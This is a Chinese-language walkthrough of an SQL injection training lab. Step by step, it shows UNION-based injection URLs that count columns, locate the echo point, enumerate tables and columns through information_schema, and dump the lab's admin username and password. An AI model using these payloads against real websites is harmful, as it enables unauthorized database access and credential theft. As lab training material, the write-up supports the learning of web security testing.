SQL注入靶场:辛巴猫舍

漏洞地址:http://inject1.lab.aqlab.cn:8003/index.php?id=1

漏洞类型:SQL注入

漏洞分析:常规and 1=1和 and 1=2判断该页面是否存在注入点,发现存在后开始以下操作。

1.首先我们查一下该数据库有几行,将id=1分别换为2,3,4进行测试,发现到id=4时页面不再显示。

http://inject1.lab.aqlab.cn:8003/index.php?id=4

2.查字段,利用order by来查询字段数,即有几列的内容。输入order by 1和order by 2时页面正常,到order by 3的时候页面显示异常,由此可以得到字段数为2

http://inject1.lab.aqlab.cn:8003/index.php?id=1  order by 3

3.寻找回显点,构造?id=4 union select 1,2   发现下面显示的是数字 “2” 说明在返显点在数字2的位置

http://inject1.lab.aqlab.cn:8003/index.php?id=4 ? union select 1,2

4.查库名,利用select database()输出数据库名字,得到库名为maoshe

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1,database()

5.查表名,利用数据库自带表information_schema来查询存储在表里的数据信息。得到表名为admin

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, table_name from information_schema.tables where table_schema = database()

6.查字段,利用column_name在自带表information_schema中存储的信息查询,可以看到第一个字段为Id

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database()

我们利用 limit 分页查询语句,指定查询结果从哪条记录开始显示,显示多少条记录,可以得出字段名有Id,username,password三个。

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database() limit 1,1
http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database() limit 2,1

7.现在我们得到了字段名,表名以及数据库名,那么下一步我们就去查询字段内容来获取想要的信息

可以查到用户名为admin

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, username from admin

密码为 hellohack

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, password from admin

注:可能有的人喜欢用GROUP_CONCAT 函数,即通过间隔将多行数据进行整合在一行输出,虽然不用limit去一个一个的查询,但是有的站输出点是由长度限制的,所以会出现输出不完整的情况,在此建议大家习惯利用limit分页查询来输出。